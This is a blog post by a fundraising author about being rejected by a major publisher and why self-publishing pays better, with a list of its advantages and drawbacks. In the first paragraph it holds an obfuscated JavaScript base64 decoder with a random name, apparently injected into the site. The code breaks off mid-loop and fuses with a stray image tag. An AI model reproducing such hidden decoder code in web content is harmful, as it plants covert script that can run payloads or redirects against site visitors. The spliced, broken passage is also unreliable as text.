Two of the biggest rejections of my life set me on one of my greatest paths to success.

About 15 years ago,  I submitted my very first (and only) book proposal to one of the biggest publishing companies in the nonprofit industry.  I had a dream of writing a book, and I thought this was my sure path to success. I was so excited and could picture the book in my hands.  Lots of people loved what I had to say about fundraising, and I knew the book would be a success. function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandyrees.com/wp-content/uploads/2013/08/iStock_000017745858XSmall.jpg" alt="Publish" width="277" height="109" />

It was a bit of a rude awakening when the publisher rejected me cold. Ouch! It was painful and hard to take.

But it was such a huge favor to me. 

I wasn't deterred.  I started looking for other ways to get my book out there. And lo and behold, I found the world of self publishing.

Self publishing a book means that you take responsibility for all aspects, from layout to cover design to marketing. I was so willing to get my book out there, that I spend the time necessary to learn what I needed to know to be successful. That was many years and several books ago.

I have a colleague (I won't share her name, but if I did, you'd probably recognize the name) who published her book through a traditional publishing company. She still had to do most of the marketing, she deals with some pretty tight restrictions, and she makes $1 for every book sold. Yep, you read that right.

If you want to make money from the sale of your book, self publishing is the way to go. Here are some specific reasons I love self publishing:

• Control of the content. When I publish a book myself, I am in complete control of the content.  I get to decide on the topic, the main points and the theme of the book, the structure of the material, the layout, and everything about the material. Of course the downside is that if I mess up, it's my own fault (no one to blame it on!).
•  Flexibility in promotion. As the book's publisher, I get to choose the methods used to promote the book. Over the years, my team and I have created a repeatable launch plan to get a book out into the world.  It works every time for us, generating lots of awareness and selling lots of books. And the nice thing is that I can do the pieces I want to do - if I want to do a book tour or a book signing, I can. If I don't want to, I don't have to. Easy as that.
• All the cash in my pocket. I don't have to split the proceeds with a publisher when I self publish. My first book, "Fundraising Buffet" costs my about $7 to print. It sells for about $20, which means my profit margin is $13. It may not seem like a heck of a lot of money, but believe me, it adds up.

I'll be honest - the downside of self publishing is that all the responsibility sits in your lap. That means you've got to have the discipline to get your book written and the street-smarts to do the marketing and promotion.  If you already have a tribe or a list of followers, promotion isn't that hard. And when your book is something your audience is hungry for, promotion is quite easy.